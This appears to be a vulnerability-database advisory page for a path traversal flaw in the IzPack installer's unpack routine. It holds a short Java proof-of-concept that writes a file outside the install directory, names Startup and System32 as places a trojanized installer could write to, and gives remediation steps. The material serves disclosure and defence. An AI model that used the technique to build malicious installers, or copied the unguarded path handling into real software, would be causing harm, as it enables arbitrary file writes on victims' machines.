Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 26, 2026
Path traversal in IzPack's UnpackerBase.unpack() enables arbitrary file writes under victim privileges when a user executes a trojanized installer JAR. The unpacking pipeline calls IoHelper.translatePath(), which performs only file-separator substitution with no canonical-path check, no startsWith(installDir) containment guard, and no normalization of '../' sequences, allowing attacker-controlled PackFile entries to escape the install directory entirely. Because IzPack JARs are standard unsigned ZIPs with no integrity protection, any legitimate IzPack installer can be silently repackaged with malicious entries; a publicly available proof-of-concept confirms the escape. The CVE is not listed in CISA KEV, but the trivial repacking method and social-engineering distribution vector make this a credible supply-chain threat to organizations consuming IzPack-packaged software from untrusted sources.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Primary rating from Vendor (https://github.com/izpack/izpack) · only source for this CVE.
CVSS VectorVendor: https://github.com/izpack/izpack
DescriptionCVE.org
Summary
IzPack's UnpackerBase.unpack() resolves pack-file target paths without any canonical-path or directory-containment check. An attacker who distributes a trojanized installer JAR (the format is unsigned) can include pack entries whose targetPath contains ../ sequences. When a victim runs the installer the file is written to an attacker-chosen location on disk under the victim's privileges - including startup folders, PATH directories, or system locations.
Details
Vulnerable method: com.izforge.izpack.installer.unpacker.UnpackerBase.unpack() Source file: izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java Vulnerable lines (5.2.4): ~618-627
The relevant code path is:
String targetPath = packFile.getTargetPath(); // attacker-controlled
String path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY
File target = new File(path); // no canonical check
// ... mkdirs() then file is written to `target`IoHelper.translatePath() (source: izpack-util/.../IoHelper.java) performs only file-separator character conversion ('/' ↔ File.separatorChar) and contains no security validation whatsoever. There is no call to getCanonicalPath(), no startsWith(installDir) containment check, and no normalisation of .. segments.
Because IzPack installer JARs carry no digital signature, an attacker can repack any legitimate installer with malicious PackFile entries. The file format is a standard ZIP with serialised resources - no integrity protection.
Confirmed unpatched in HEAD (fetched from GitHub, 2025):
git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \
| grep -n 'getCanonicalPath\|startsWith.*install\|traversal'
# (no output - fix not present)PoC
# 1. Clone IzPack source and view the vulnerable code directly
git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git
sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
# 2. Compile and run the following Java reproducer (no IzPack classpath needed):// TestPathTraversal.java
import java.io.*;
public class TestPathTraversal {
// Exact replication of IoHelper.translatePath() - separator swap, no security
static String translatePath(String destination) {
return destination.replace('/', File.separatorChar);
}
public static void main(String[] args) throws Exception {
String installDir = "/tmp/izpack_install";
String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";
// This is what UnpackerBase does:
String path = translatePath(maliciousPath);
File target = new File(path); // resolves traversal
target.getParentFile().mkdirs();
try (FileWriter fw = new FileWriter(target)) {
fw.write("Written outside install dir via IzPack path traversal\n");
}
System.out.println("File written to: " + target.getCanonicalPath());
System.out.println("Inside installDir: " +
target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));
}
}javac TestPathTraversal.java && java TestPathTraversal
# Output: File written to: /tmp/ESCAPED_FILE
# Inside installDir: falseImpact
Any user who runs an IzPack-generated installer is affected. The attacker only needs to distribute a repackaged installer - a common social-engineering vector. On Windows (the primary IzPack platform) the victim typically runs the installer as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, %SystemRoot%\System32, or any other location reachable by the victim user. On Linux/macOS the same applies for user-writable locations.
No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.
Credits
This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.
Articles & Coverage 2
Executive ViewAI
Organizations deploying software packaged with IzPack face an active supply-chain risk: installers can be silently compromised to execute malicious code with user privileges, and publicly available exploit code demonstrates the vulnerability. Because IzPack packages are unsigned and trivially repackaged without detection, legitimate software distributions can be compromised end-to-end; attackers need only social engineering to distribute trojanized versions. Any organization using IzPack-based software should immediately audit installer sources and coordinate with vendors on patched versions.
Within 24 hours, identify all applications deployed via IzPack installers and verify the integrity and source of each installer package using vendor-supplied checksums or digital signatures; restrict installation of unverified packages. Within 7 days, coordinate with software vendors to obtain patched versions and apply patches to all affected installer packages, testing thoroughly in an isolated environment before production deployment. Within 30 days, complete rollout of patched versions to all deployed systems and conduct file integrity checks to detect any unauthorized files previously written during installation.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-66562
GHSA-f63g-88cj-hjf9
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB